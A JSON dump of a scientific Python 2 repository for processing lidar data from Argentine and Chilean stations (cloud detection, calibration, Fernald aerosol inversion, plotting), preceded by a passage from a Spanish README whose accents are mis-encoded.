medio del coeficiente de extinciรณn o atenuaciรณn de aerosoles. No obstante, \nla atenuaciรณn debido a aerosoles no puede ser derivada directamente de la seรฑal lidar de \nretrodispersiรณn elรกstica, en tanto que es necesario asumir un valor de la razรณn lidar, \ni.e., la relaciรณn entre los coeficientes de extinciรณn y retrodispersiรณn de aerosoles, en \nlos algoritmos de inversiรณn. En consecuencia, el mรฉtodo utilizado aquรญ conduce a una importante \nincerteza en los productos finales. Por otro lado, la sencillez del mรฉtodo empleado lo hace \napropiado para emplearse en una implementaciรณn operativa, tal como es nuestro propรณsito final, \nmientras que los resultados obtenidos pueden aรบn proveer informaciรณn valiosa.\n\nEl mรฉtodos empleado estรก basado en los mismos principios empleados para obtener los \nproductos operativos del National Institute for Environmental Studies, Japรณn. Una \ndescripciรณn de este mรฉtodo puede encontrarse en Shimizu et al. [2017]. Estos algoritmos \nhan sido desarrollados para ser aplicados en la red de instrumentos lidares de AD-Net \n(Asian dust and aerosol lidar observation network) y han sido probados y validados \nprincipalmente para al caso de polvo mineral asiรกtico. Nosotros hemos implementado estos \nalgoritmos con el fin de aplicarlos a la red de lidares ubicados en Argentina y Chile en \nel marco del proyecto SAVERNet (Sistema de Gestiรณn de Riesgos Medioambientales Atmosfรฉricos \nen Sudamรฉrica). Si bien estos productos brindan informaciรณn valiosa actualmente, aรบn se \nencuentran en fase experimental y se requiere al menos un aรฑo de pruebas y validaciones \ncon datos externos independientes para adaptarlo a las condiciones de nuestra regiรณn.\n\nPara ejecutarlo, usar:\n\n./main.py Station\n\ndonde Station puede ser:\naeroparque\nbariloche\ncordoba\ngallegos\nneuquen\nparenas\ntucuman\nvmartelli\n\nEs importante definir todos los paths correctamente en el archivo de configuraciรณn:\nparameters.cfg\n\nSi se pretende realizar una ejecuciรณn automรกtica para proveer los productos en tiempo \ncasi real, se puede aรฑadir la tarea:\nmake_all.sh\nal Cron de Linux. Entonces puede ser necesario definir el path absoluto del programa \nen el encabezado del fichero:\nmain.py\n\nConsultas y/o sugerencias:\[email protected]\n" }, { "alpha_fraction": 0.5330188870429993, "alphanum_fraction": 0.5521488189697266, "avg_line_length": 39.157894134521484, "blob_id": "4459e9c543a07e4b892b92fc7b92fe8fca3195ad", "content_id": "09501df6adcd5d693959ad98d47c81aee50d0491", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 3816, "license_type": "no_license", "max_line_length": 111, "num_lines": 95, "path": "/Utilities/Overlap/Overlap.py", "repo_name": "lmingari/lidar_SMN", "src_encoding": "UTF-8", "text": "#!/usr/bin/env python2\n\nimport numpy as np\nimport matplotlib.pyplot as plt\n\nclass SelectPoint:\n def __init__(self,data,z,yrfile):\n self.yrfile = yrfile\n self.fig, self.axarr = plt.subplots(2, sharex=True)\n self.axarr[0].semilogx(data,z,'-')\n\n self.axarr[0].set_ylabel(r'Altitude $[km]$')\n self.axarr[1].set_ylabel(r'Altitude $[km]$') \n self.axarr[1].set_xlabel(r'Range-corrected Lidar signal $[mV \\, \\, km^2]$')\n\n self.axarr[0].set_ylim([0,1])\n self.axarr[1].set_ylim([0,1])\n\n self.connect()\n self.points = 0\n self.zlim = []\n self.NZ = data.shape[0]\n self.NX = data.shape[1]\n self.data = data\n self.z = z\n self.yr = np.ones_like(z)\n\n def connect(self):\n 'connect to all the events we need'\n self.cidpress = self.fig.canvas.mpl_connect(\n 'button_press_event', self.on_press)\n\n def on_press(self, event):\n 'on button press we will see if the mouse is over us and store some data'\n self.zlim.append(event.ydata)\n self.points = self.points + 1\n print \"Selected point #{}: x={} and y={}\".format(self.points, event.xdata, event.ydata)\n if self.points == 2: \n self.disconnect()\n self.zlim.sort()\n self.axarr[0].fill_between(self.axarr[0].get_xlim(),self.zlim[0],self.zlim[1])\n self.overlap_mean()\n for it in range(self.NX): self.data[:,it] = self.data[:,it] * self.yr\n self.axarr[1].semilogx(self.data,self.z,'-')\n self.fig.canvas.draw()\n print \"Done!\"\n\n def disconnect(self):\n 'disconnect all the stored connection ids'\n self.fig.canvas.mpl_disconnect(self.cidpress)\n\n def overlap(self):\n nmin = np.argmin(np.abs(self.z-self.zlim[0]))\n nmax = np.argmin(np.abs(self.z-self.zlim[1]))+1\n self.yr[:nmin] = 0.0\n nt = 0\n for it in range(self.NX):\n if not np.isnan(self.data[nmin:nmax,it]).any():\n nt = nt + 1\n #coeff = np.polyfit(self.z[nmin:nmax], np.log(self.data[nmin:nmax,it]), 1)\n coeff = np.polyfit(self.z[nmin:nmax], self.data[nmin:nmax,it], 1)\n pol = np.poly1d(coeff)\n #self.yr[:nmin] = self.yr[:nmin] + np.exp(pol(self.z[:nmin])) / self.data[:nmin,it]\n self.yr[:nmin] = self.yr[:nmin] + pol(self.z[:nmin]) / self.data[:nmin,it]\n self.yr[:nmin] = self.yr[:nmin] / nt\n np.savetxt(self.yrfile, zip(self.z, self.yr), fmt='%0.8f', header='altitude (km) | overlap factor') \n\n def overlap_mean(self):\n nmin = np.argmin(np.abs(self.z-self.zlim[0]))\n nmax = np.argmin(np.abs(self.z-self.zlim[1]))+1\n hmin = 0.085\n arr = np.mean(self.data[nmin:nmax,:],axis=1)\n arr2 = np.mean(self.data[:nmin,:],axis=1)\n #coeff = np.polyfit(self.z[nmin:nmax], np.log(arr), 1)\n coeff = np.polyfit(self.z[nmin:nmax], arr, 1)\n pol = np.poly1d(coeff)\n #self.yr[:nmin] = np.exp(pol(self.z[:nmin])) / arr2\n self.yr[:nmin] = pol(self.z[:nmin]) / arr2\n for iz in range(nmin,0,-1):\n height = self.z[iz-1]\n yr_diff = self.yr[iz-1]-self.yr[iz]\n if arr2[iz-1]<0.0 and height>hmin: hmin = height\n if height<=hmin:\n self.yr[iz-1] = 1.0\n# elif yr_diff<0:\n# self.yr[iz-1]=self.yr[iz]\n print \"We set yr=1 below of {} m\".format(1000*hmin)\n print \"Saving data...\"\n np.savetxt(self.yrfile, zip(self.z, self.yr), fmt='%0.8f', header='altitude (km) | overlap factor')\n\n# ff, aa = plt.subplots()\n# aa.plot(self.yr[:nmin], self.z[:nmin],'o-')\n# aa.set_title('Overlap Factor')\n# ff.savefig('overlap.png', bbox_inches='tight', dpi=150)\n# plt.close(ff)\n\n" }, { "alpha_fraction": 0.5516006946563721, "alphanum_fraction": 0.5857203006744385, "avg_line_length": 30.013071060180664, "blob_id": "a5e7e7def3c22c2b4b9fd441f567970040fe3f92", "content_id": "01d2356e9fe23e39a1ea533bdb141d5f5549d33a", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 4748, "license_type": "no_license", "max_line_length": 98, "num_lines": 153, "path": "/Utilities/Overlap/Plots.py", "repo_name": "lmingari/lidar_SMN", "src_encoding": "UTF-8", "text": "#!/usr/bin/env python2\n\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport mpl_toolkits.axisartist as axisartist\nfrom matplotlib.dates import DayLocator, HourLocator, DateFormatter\nfrom matplotlib.colors import LinearSegmentedColormap,ListedColormap,BoundaryNorm\nfrom matplotlib.ticker import LogFormatterMathtext\nfrom netCDF4 import num2date, date2num\nimport warnings\n\n################# Parameters ###############################################\nNMAX = 1E6\nratio = 1E-3 # Aspect ratio km/min\nDebug = True\n############################################################################\n\n### Color map creation\ncolors1 = plt.cm.jet(np.linspace(0, 1, 256))\nstartcolor = np.array([1,1,1,1])\nendcolor = colors1[0]\ncmap = LinearSegmentedColormap.from_list('own',[startcolor,endcolor])\ncolors2 = cmap(np.linspace(0, 1, 72))\ncolors = np.vstack((colors2, colors1))\nmy_cmap = LinearSegmentedColormap.from_list('colormap', colors)\n\ndef build_palette4(l1,l2,l3,l4):\n levs = l1+l2+l3+l4\n \n cm1 = LinearSegmentedColormap.from_list(\"\",[\"#000080\", \"#00b2ee\"])\n cm2 = LinearSegmentedColormap.from_list(\"\",[\"#ffff00\", \"#ff0000\"])\n cm3 = LinearSegmentedColormap.from_list(\"\",[\"#ff0000\", \"#bebebe\"])\n cm4 = LinearSegmentedColormap.from_list(\"\",[\"#bebebe\", \"#ffffff\"])\n\n cl1 = cm1(np.linspace(0,1.,len(l1)+1, endpoint=True))\n cl2 = cm2(np.linspace(0,1.,len(l2), endpoint=False))\n cl3 = cm3(np.linspace(0,1.,len(l3), endpoint=False))\n cl4 = cm4(np.linspace(0,1.,len(l4), endpoint=True))\n\n rgb = np.vstack([cl1,cl2,cl3,cl4])\n\n cmap = ListedColormap(rgb[1:-1], name=\"Caliop\")\n norm = BoundaryNorm(levs, ncolors=len(levs)-1, clip=False)\n cmap.set_under( rgb[0] )\n cmap.set_over( rgb[-1] )\n return cmap,norm\n\ndef resampling(x, data, z, maxalt, maxdays):\n NX = len(x)\n NZ = len(z)\n \n day_0 = x[0]\n units = day_0.strftime(\"minutes since %Y-%m-%d 00:00:00\")\n xm = date2num(x,units=units)\n\n DX = xm[1]-xm[0]\n DZ = z[1]-z[0]\n DZinv = 1.0/DZ\n if maxalt>0:\n NZ0 = int(round(maxalt * DZinv))\n if NZ0<NZ: NZ=NZ0\n if maxdays>0:\n profiles_per_day = 1440/DX\n NX0 = int(round(maxdays*profiles_per_day))\n if NX0<NX: NX=NX0\n \n N = NX*NZ\n if Debug: print \"Original data: {} points\".format(N)\n wz = 1\n wx = 1\n while N>NMAX:\n if DX*DZinv*ratio>1.0: \n wz = 2*wz\n DZinv = 0.5 * DZinv\n else: \n wx = 2*wx\n DX = 2*DX\n N = 0.5*N\n\n NZ = NZ - NZ%wz\n NX = NX - NX%wx\n data = data[:NZ,-NX:]\n\n zmax = z[NZ-1]\n xmin = xm[-NX]\n \n if wz>1:\n if Debug: print \"Using vertical rebin with wz={}\".format(wz)\n NZ = NZ/wz\n data_wz = np.full((NZ,NX),np.nan)\n for it in range(NX):\n if not np.all(np.isnan(data[:,it])):\n data_wz[:,it] = np.nanmean(data[:,it].reshape(-1, wz), axis=1)\n else:\n data_wz = np.copy(data)\n\n if wx>1:\n if Debug: print \"Using horizontal rebin with wx={}\".format(wx)\n NX = NX/wx\n data_wzwx = np.full((NZ,NX),np.nan)\n with warnings.catch_warnings():\n # I expect to see RuntimeWarnings in this block\n warnings.simplefilter(\"ignore\", category=RuntimeWarning)\n for iz in range(NZ):\n data_wzwx[iz,:] = np.nanmean(data_wz[iz,:].reshape(-1, wx), axis=1)\n else:\n data_wzwx = data_wz\n\n z_wz = np.linspace(0,zmax,NZ+1)\n x_wx = num2date([xmin + i*DX for i in range(NX+1)], units=units)\n\n return x_wx, data_wzwx, z_wz\n\ndef get_figure(automatic):\n fig = plt.figure(figsize=(16,6))\n ax = fig.add_subplot(axisartist.Subplot(fig, \"111\"))\n \n if not automatic:\n ax.xaxis.set_major_locator( DayLocator() )\n# ax.xaxis.set_minor_locator( DayLocator(range(2,32,2)) )\n ax.xaxis.set_major_formatter( DateFormatter('%d\\n%b') )\n ax.xaxis.set_minor_formatter( DateFormatter('%d') )\n ax.autoscale_view()\n ax.axis[\"bottom\"].major_ticklabels.set_va('top')\n ax.axis[\"bottom\"].toggle(ticklabels=True)\n ax.axis[\"top\"].toggle(all=False) \n \n ax.axis[:].major_ticks.set_tick_out(True)\n \n ax.fmt_xdata = DateFormatter('%Y-%m-%d %H:%M')\n fig.autofmt_xdate()\n return fig, ax\n \ndef show_raw(x, data, z,\n fname = \"range_corrected.png\",\n maxalt = 0.0,\n maxdays = 0.0):\n x_low, data_low, z_low = resampling(x,data,z,maxalt,maxdays)\n fig, ax = get_figure(True)\n\n CS = ax.pcolormesh(x_low, z_low, data_low, \n cmap = my_cmap, \n vmin = 0, \n vmax = 10)\n cbar = plt.colorbar(CS)\n cbar.set_label(r\"Signal strength [$mV \\times km^2$]\", \n labelpad=-63)\n\n ax.set_xlabel('')\n ax.set_ylabel('Height AGL [km]')\n fig.savefig(fname, \n bbox_inches='tight', \n dpi=150)\n \n" }, { "alpha_fraction": 0.45630335807800293, "alphanum_fraction": 0.5263686776161194, "avg_line_length": 30.856000900268555, "blob_id": "151d8a8da2f3a4ad584de59c0f7c3d88eb2f66e8", "content_id": "a79be7e104707029da5a3d6db6feedec0ded41b9", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 3982, "license_type": "no_license", "max_line_length": 103, "num_lines": 125, "path": "/Inversion/CloudDetect.py", "repo_name": "lmingari/lidar_SMN", "src_encoding": "UTF-8", "text": "#!/usr/bin/python\nimport numpy as np\n\n################# Parameters ####################\nDebug = True\n#################################################\n\n#if not Debug: np.seterr(invalid='ignore')\n\ndef cloud_height(vis,ir,z,clgrad,clth):\n ### z in km\n NX = ir.shape[-1]\n NZ = ir.shape[0]\n DZ = z[1]-z[0]\n zb = np.full(NX,np.nan)\n zt = np.full(NX,np.nan)\n ###\n for ix in range(NX):\n profile_ir = ir [:,ix]\n profile_vis = vis[:,ix]\n diff = (profile_ir[1:]-profile_ir[:-1])/DZ\n if np.all(np.isnan(profile_ir)): continue\n for iz in range(NZ-2):\n# if z[iz]<0.24: continue\n if z[iz]<0.35: continue\n clgrad1 = clgrad * np.exp(-1 * (z[iz] / 3.0))\n if diff[iz]>=clgrad1/3E-2 and diff[iz+1]>=clgrad1/3E-2:\n cb1 = iz\n ct1 = iz\n while ct1<NZ-1:\n if profile_vis[ct1]<profile_vis[cb1]: break\n ct1 = ct1 + 1\n clth1 = clth * np.exp(-1. * z[iz]**2 / 90.0)\n circ = (profile_ir [cb1:ct1]>=clth1).sum()\n cvisc = (profile_vis[cb1:ct1]>=clth1).sum()\n ###\n if min(circ, cvisc) >= (ct1 - cb1) * 0.6 and (z[ct1] - z[cb1]) >= (z[cb1] - 9.0) / 5:\n zb[ix] = z[cb1]\n zt[ix] = z[ct1]\n break\n return zb, zt\n\ndef phenomena(vis,ir,dep,z,zb,rth1,rth4,pblth,snrth):\n NX = ir.shape[-1]\n NZ = ir.shape[0]\n DZ = z[1]-z[0]\n DZinv = 1.0/DZ\n\n iz_120 = int(round(0.12 * DZinv))-1\n iz_240 = int(round(0.24 * DZinv))-1\n iz_300 = int(round(0.3 * DZinv))-1\n iz_450 = int(round(0.45 * DZinv))-1\n iz_600 = int(round(0.6 * DZinv))-1\n iz_1500 = int(round(1.5 * DZinv))-1\n iz_3000 = int(round(3.0 * DZinv))-1\n iz_9km = int(round(9.0 * DZinv))-1\n iz_15km = int(round(15.0 * DZinv))-1\n iz_16km = int(round(16.0 * DZinv))-1\n iz_18km = int(round(18.0 * DZinv))-1\n\n rf = np.zeros(NX)\n pbl = np.full(NX,np.nan)\n invtop = np.full(NX,np.nan)\n nlg = np.full(NX,9.0)\n for ix in range(NX):\n profile_ir = ir [:,ix]\n profile_vis = vis[:,ix]\n profile_dep = dep[:,ix]\n if np.all(np.isnan(profile_ir)): continue\n diff = (profile_ir[1:]-profile_ir[:-1])*DZinv\n with np.errstate(divide='ignore', invalid='ignore'):\n cr = np.where(profile_vis == 0, np.nan, profile_ir/profile_vis)\n ###\n std_tail = np.nanstd(profile_vis[iz_15km:iz_16km]) * snrth\n for iz in range(iz_450,iz_9km): \n if profile_vis[iz]<std_tail:\n nlg[ix] = z[iz]\n break\n ### Inversion must start > 600m\n zmax = np.nanmin([zb[ix],9])\n invtop[ix] = np.nanmin([zb[ix] - DZ * 2**(zmax/1.5) - 0.15, nlg[ix], 9.0])\n ### Rain\n zmax = np.nanmin([zb[ix],3])\n iz_max = int(round(zmax * DZinv))-1\n with np.errstate(invalid='ignore'):\n count = np.nansum(cr[iz_240:iz_max]>=1.1)\n zmin = 0.24\n if count * DZ >= (zmax-zmin) * rth1: \n rf[ix] = 1\n continue\n ### Fog?\n if nlg[ix]<=0.6:\n rf[ix] = 2\n continue\n ### Snow\n if np.nanmean(profile_vis[iz_120:iz_240]) >= 5E5 and np.nanmean(profile_dep[iz_120:iz_240]) >= 0.2:\n rf[ix] = 3\n continue\n zmax = np.nanmax([zb[ix],1.5])\n iz_max = int(round(zmax * DZinv))-1\n if np.nanmin(diff[iz_240:iz_max]) < rth4/3E-2:\n rf[ix] = 4\n continue\n if np.nanmax(profile_vis[iz_240:iz_max]) >= 5E6 and np.nanmax(profile_dep[iz_240:iz_max]) >= 0.3:\n rf[ix] = 5\n continue\n ### PBL\n zmax = np.nanmin([zb[ix]-0.15,4.5])\n iz_top = int(round(zmax * DZinv))-1\n with np.errstate(invalid='ignore'):\n for iz in range(iz_600,iz_top):\n if np.nansum(profile_vis[iz-iz_300:iz])/np.nansum(profile_vis[iz+1:iz+iz_300+1]) >= pblth and \\\n max(profile_vis[iz_300:iz]) < min(profile_vis[iz_300:iz]) * 2.0:\n pbl[ix] = z[iz]\n continue\n\n return rf, pbl, invtop\n\nif __name__ == \"__main__\":\n\n a=np.array([[1,2,3],[40,50,60],[100,200,400]])\n b=np.array([[1,2,3],[40,np.nan,60],[100,200,400]])\n z=np.array([10,200,400])\n# print color_ratio(a,b)\n rain(a,a,z,z,a)\n" }, { "alpha_fraction": 0.5157200694084167, "alphanum_fraction": 0.5623732209205627, "avg_line_length": 31.065040588378906, "blob_id": "26b0366396ab7a8ba004a4544bae5417c4307f98", "content_id": "1b83bd3dfc825448d7f05ee80a37362ad2c4e228", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 3944, "license_type": "no_license", "max_line_length": 106, "num_lines": 123, "path": "/Inversion/Calibration.py", "repo_name": "lmingari/lidar_SMN", "src_encoding": "UTF-8", "text": "#!/usr/bin/python\nimport numpy as np\nimport Plots\nfrom datetime import datetime\n\n################# Parameters ####################\nDoPlot = False\nDebug = True\n#################################################\n\ndef vis_factor(vis,z):\n DZ = z[1]-z[0]\n DZinv = 1.0/DZ\n\n iz_1200 = int(round(1.2 * DZinv))-1\n iz_6000 = int(round(6.0 * DZinv))-1\n\n with np.errstate(divide='ignore', invalid='ignore'):\n a = np.where(vis[iz_1200:iz_6000,:] > 0, np.log10(vis[iz_1200:iz_6000,:]), np.nan)\n hist, bin_edges = np.histogram(a[~np.isnan(a)], bins=60, range=[-3,2])\n maxsub = np.nanargmax(hist)\n factor = 1E4 / 10.**(bin_edges[maxsub])\n if Debug: \n print \"**** Function vis_factor ****\"\n print \"Index of maximum in histogram: {}\".format(maxsub)\n print \"Maximum histogram: {}\".format(bin_edges[maxsub])\n if DoPlot: Plots.histo(hist, bin_edges)\n return factor\n \ndef color_ratio(vis, ir, z, maxint):\n output = 1.0\n DZinv = 1.0/(z[1]-z[0])\n iz_600 = int(round(0.6 * DZinv))-1\n iz_3000 = int(round(3.0 * DZinv))-1\n\n sub_vis = vis[iz_600:iz_3000,:]\n sub_ir = ir[iz_600:iz_3000,:]\n\n threshold = (DZinv * 6E-3) * vis.shape[-1]/96.0\n with np.errstate(invalid='ignore'): \n cl = (sub_vis>=maxint).sum()\n if cl > threshold:\n with np.errstate(invalid='ignore'): \n x = sub_vis[sub_vis>=maxint]\n y = sub_ir [sub_vis>=maxint]\n params = np.polyfit(x,y,1)\n output = params[0]\n if Debug: \n print \"**** Function color_ratio ****\"\n print \"Number of Cloud points: {} - Color Ratio: {}\".format(cl, output)\n print \"Plotting channel relation...\"\n if DoPlot: Plots.xy(x, y, params, \"calibration.png\")\n return output\n \ndef depol(par, per, z):\n output = 1.0\n DZinv = 1.0/(z[1]-z[0])\n iz_12000 = int(round(10.0 * DZinv))-1\n\n x = par[iz_12000,:]\n y = per[iz_12000,:]\n\n params = np.polyfit(x[~np.isnan(x)],y[~np.isnan(x)],1)\n output = params[0]\n if Debug: \n print \"**** Function depol ****\"\n print \"Linear fit: slope={}\".format(output)\n if DoPlot: Plots.xy(x, y, params, \"depol.png\")\n return output\n \ndef power(x, filename):\n print \"**** Function power ****\"\n NX = len(x)\n c1 = np.ones_like(x, dtype=np.float)\n c2 = np.ones_like(x, dtype=np.float)\n c3 = np.ones_like(x, dtype=np.float)\n dtype1 = np.dtype([('time', 'object'), ('cvis_par', 'f8'), ('cvis_per', 'f8'), ('cir', 'f8')])\n fmt = \"%Y-%m-%d_%H:%M\"\n try:\n data = np.loadtxt(filename, dtype=dtype1, converters={0: lambda x: datetime.strptime(x, fmt)})\n for item in data:\n if item['time']<=x[0]: \n continue\n elif item['time']>=x[-1]: \n break\n else:\n if Debug: \n print \"Applying power correction for \", item[\"time\"]\n print \"cvis_par={} - cvis_per={} - cir={}\".format(item['cvis_par'],item['cvis_per'],item['cir'])\n for ix in range(NX):\n if item['time']<x[ix]:\n c1[ix] = c1[ix] * item['cvis_par']\n c2[ix] = c2[ix] * item['cvis_per']\n c3[ix] = c3[ix] * item['cir']\n except IOError:\n if Debug: print \"Power file not found: {}\".format(filename)\n return c1, c2, c3\n\ndef overlap(filename,z):\n yr = np.ones_like(z, dtype=np.float)\n dtype1 = np.dtype([('height', 'f8'), ('yr', 'f8')])\n if Debug:\n print \"**** Function overlap ****\"\n print \"Overlap File: {}\".format(filename)\n print \"Checking file consistence...\"\n try:\n data = np.loadtxt(filename, dtype=dtype1)\n if len(data)==len(z):\n if Debug: print \"OK\"\n for i in range(len(data)): yr[i]=data['yr'][i]\n else:\n if Debug: print \"Incorrect number of levels\"\n except IOError:\n if Debug: print \"Overlap File not found\"\n return yr\n\nif __name__ == \"__main__\":\n vis = np.array([[1E5,2E5,1.2E5,1.45E5,np.nan,1.45E5],[1E5,2E5,1.2E5,1.45E5,1.2E5,1.45E5]])\n z = [2,3, 120, 125, 142.5]\n# print histo_param(vis.T,z)\n filename = \"YR.txt\"\n yr = overlap(filename,z)\n print 1.0 / yr\n" }, { "alpha_fraction": 0.3945992887020111, "alphanum_fraction": 0.48649826645851135, "avg_line_length": 29.210525512695312, "blob_id": "5201330806ff41f750925880487d37fdd62401dc", "content_id": "f098ffe201ae958c6657e57e02569adceab458b6", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2296, "license_type": "no_license", "max_line_length": 87, "num_lines": 76, "path": "/Inversion/Physics.py", "repo_name": "lmingari/lidar_SMN", "src_encoding": "UTF-8", "text": "#!/usr/bin/python\n# Extended to 18km\n# Altitude / CIRA86\nimport numpy as np\n\n################# Parameters ####################\ns2 = 8.0 * np.pi / 3.0 #\nNa = 6.022E23 #(/mol)\nm0 = 28.97 #(g/mol)\nm0 = m0 / 1e3 #(kg/mol)\nstdatm = [1.2250, 1.1117, 1.0066, 9.0925e-1, \\\n 8.1935e-1, 7.3643e-1, 6.6011e-1, \\\n 5.9002e-1, 5.2579e-1, 4.6706e-1, \\\n 4.1351e-1, 3.6480e-1, 3.1194e-1, \\\n 2.6660e-1, 2.2786e-1, 1.9476e-1, \\\n 1.6647e-1, 1.4230e-1, 1.2165e-1] #US standard atmosphere (kg/m3)\n#################################################\n \n\ndef rayleigh(z, wavelength, alt):\n### z, alt = meters\n### month = 1-12\n### lat = degree N\n### wavelength = nm\n rho = np.interp(z + alt, np.linspace(0,18, num=19) * 1e3, stdatm)\n Ng = Na * rho / m0 #(/m^3)\n crosssec_r = 5.45 * (550. / wavelength) ** 4 * 1e-28 * 1e-4\n beta_r = crosssec_r * Ng\n alpha_r = beta_r * s2\n return alpha_r, beta_r\n\ndef fernald(x, z, alpha_r, beta_r, s1, top, init_beta):\n \"\"\"Fernald Algorithm\n Keyword arguments:\n x: range-corrected intensity\n alpha_r = extinction coefficient of molecules\n beta_r = backscattering coefficient of molecules\n s1 = lidar ratio\n ndata = number of data points\n resol = vertical resolution\n top = starting point\n init_beta = initial value of beta at TOP (optional)\n \"\"\"\n NZ = len(z)\n DZ = z[1]-z[0]\n DZinv = 1.0/DZ\n DZ = 1000.0 * DZ # in meters\n \n x = x * 1E-4\n\n iz_top = int(round(top * DZinv))-1\n ndata = iz_top\n\n alpha = np.zeros(NZ)\n beta = np.zeros(NZ)\n beta[iz_top-1] = init_beta\n alpha[iz_top-1] = init_beta * s1\n\n for iz in reversed(range(1,iz_top)):\n a = (s1-s2)*(beta_r[iz-1]+beta_r[iz])*DZ\n num = x[iz-1] * np.exp(a)\n den = x[iz]/(beta[iz]+beta_r[iz]) \n den = den + s1*(x[iz]+x[iz-1]*np.exp(a))*DZ\n if den>0:\n beta[iz-1] = num/den - beta_r[iz-1]\n else:\n beta[iz-1] = 0.0\n\n alpha = s1 * beta\n return alpha, beta\n\nif __name__ == \"__main__\":\n z = np.array([0, 100, 2000, 5500])\n a,b = rayleigh(z, 1064.0, 0.0)\n print a\n print b\n" }, { "alpha_fraction": 0.5986278057098389, "alphanum_fraction": 0.611663818359375, "avg_line_length": 37.84000015258789, "blob_id": "1d554811e33550287dd4b1fd3d96c4770a06487b", "content_id": "650b8524ea22692160381ed8c93f1b9616c3e418", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2915, "license_type": "no_license", "max_line_length": 105, "num_lines": 75, "path": "/main.py", "repo_name": "lmingari/lidar_SMN", "src_encoding": "UTF-8", "text": "#!/usr/bin/python2\n\nfrom os.path import isfile, join, dirname, abspath\nimport sys\nfrom Reading import ReadRaw\nfrom Inversion import Invert532\nfrom datetime import datetime, timedelta, time\nfrom ConfigParser import SafeConfigParser\nfrom Web import WEBoutput\n\n################# Parameters ###############################################\n#cfgpath = \"/home/leonardo/Desktop/lidar_SMN/\" # Absolute Path with cfg file\ncfgfile = \"parameters.cfg\" # CFG file\nt2 = datetime.utcnow().replace(second=0, microsecond=0) # Final date and time\nt1 = (t2-timedelta(days=22)).replace(hour=0, minute=0) # Start date and time \nDebug = True\n############################################################################\n\ncfgpath = dirname(abspath(__file__))\ncfgpath = join(cfgpath, cfgfile)\n\nstation_list = ['aeroparque',\n 'bariloche',\n 'comodoro',\n 'cordoba',\n 'gallegos',\n 'neuquen',\n 'parenas',\n 'tucuman',\n 'vmartelli']\n\nstation_block = sys.argv[1]\n\nif station_block in station_list:\n print \"Working for station {}\".format(station_block)\nelse:\n print \"{} is not a valid station\".format(station_block)\n print \"Posible options:\"\n for item in station_list: print item\n exit()\n\nconfig = SafeConfigParser()\nconfig.read(cfgpath)\n\n#Read parameters from an external file\nblock = station_block\nsampling = config.getint(block, \"sampling\")\nFileSize = config.getint(block, \"FileSize\")\nprefix = config.get(block, \"prefix\")\nncpath_out = config.get(\"Paths\", \"ncpath_out\")\nncfile_out = config.get(\"Paths\", \"ncfile_out\")\nncpath_raw = config.get(\"Paths\", \"ncpath_raw\")\nncfile_raw = config.get(\"Paths\", \"ncfile_raw\")\nbinpath = config.get(\"Paths\", \"binpath\")\nbinpath = binpath + station_block + \"/\"\n\nprint \"Reading binary data from LICEL from {} to {}\".format(t1,t2)\nprint \"Looking for binary raw data in {}\".format(binpath)\nprint \"Output file (NetCDF format): {}\".format(prefix+ncfile_raw)\nt1_data, t2_data = ReadRaw.findtimes(t1,t2,sampling,binpath,prefix,ncpath_raw+prefix+ncfile_raw,FileSize)\nprint \"Time range found: {}-{}\".format(t1_data, t2_data)\nif t2_data>t1_data:\n x, y1, y2, y3, z, height = ReadRaw.get_data(t1_data,t2_data,sampling,binpath,prefix,FileSize)\n if isfile(ncpath_raw+prefix+ncfile_raw):\n print \"Updating file: \", prefix+ncfile_raw\n ReadRaw.updatencd(x, y1, y2, y3, z, ncpath_raw+prefix+ncfile_raw)\n else:\n print \"Creating a new file: \", prefix+ncfile_raw\n ReadRaw.createncd(x, y1, y2, y3, z, height, ncpath_raw+prefix+ncfile_raw)\n Invert532.invert(block,cfgpath)\n WEBoutput.CreateJS(block, join(ncpath_out,block), ncfile_out)\nelse:\n print \"Nothing to do\"\n print \"Waiting for new data\"\nprint \"******** Done ! **********\"\n\n\n" }, { "alpha_fraction": 0.6202365159988403, "alphanum_fraction": 0.6287779211997986, "avg_line_length": 35.21428680419922, "blob_id": "4eb0ba253951459b3ec638970f1e653ab9f61577", "content_id": "9d7a5d9075b52d95b299434f0859ee5fbf9919bf", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1522, "license_type": "no_license", "max_line_length": 80, "num_lines": 42, "path": "/Web/WEBoutput.py", "repo_name": "lmingari/lidar_SMN", "src_encoding": "UTF-8", "text": "#!/usr/bin/python2\n# -*- coding: utf-8 -*- \n\nfrom IOweb import lidar2js, connect_ftp, upload_file\nfrom os.path import isfile, join\nimport jinja2\n\nfname_template_intramet = \"/home/lmingari/lidar_v2.1/Web/template_intramet.html\"\nfname_template_mireta = \"/home/lmingari/lidar_v2.1/Web/template_mireta.html\"\n\nst_name = {'comodoro': \"Comodoro Rivdavia station\",\n 'bariloche': \"Bariloche station\",\n 'aeroparque': \"Aeroparque station\",\n 'parenas': \"Punta Arenas station\", \n 'neuquen': \"Neuquen station\",\n 'vmartelli': \"Villa Martelli station\",\n\t 'cordoba': \"Cordoba station\",\n }\n\ndef CreateJS(block, ncpath, ncfile):\n fname_js = \"{}.js\".format(block)\n fname_html = \"{}.html\".format(block)\n tag = {'title': \"Lidar - Interactive visualization\"}\n tag['header'] = st_name[block]\n tag[\"block\"] = lidar2js( ncpath,ncfile,fname_js )\n\n with open(fname_template_intramet, 'r') as f:\n html_data = f.read()\n\n template_html=jinja2.Template(html_data)\n with open(join(ncpath, fname_html), 'w') as f:\n html_out = template_html.render(tag)\n id_number = html_out.split(\"id=\")[1].split('\"')[1]\n f.write(html_out.replace(fname_js,\"{}?ver={}\".format(fname_js,id_number)))\n\n with open(fname_template_mireta, 'r') as f:\n html_data = f.read()\n \n fname_html = \"{}_b.html\".format(block)\n template_html=jinja2.Template(html_data)\n with open(join(ncpath, fname_html), 'w') as f:\n f.write(template_html.render(tag))\n\n" }, { "alpha_fraction": 0.4533648192882538, "alphanum_fraction": 0.49534302949905396, "avg_line_length": 35.81642532348633, "blob_id": "23bafe29e021cf31c2a58e761a5184be29fde7c7", "content_id": 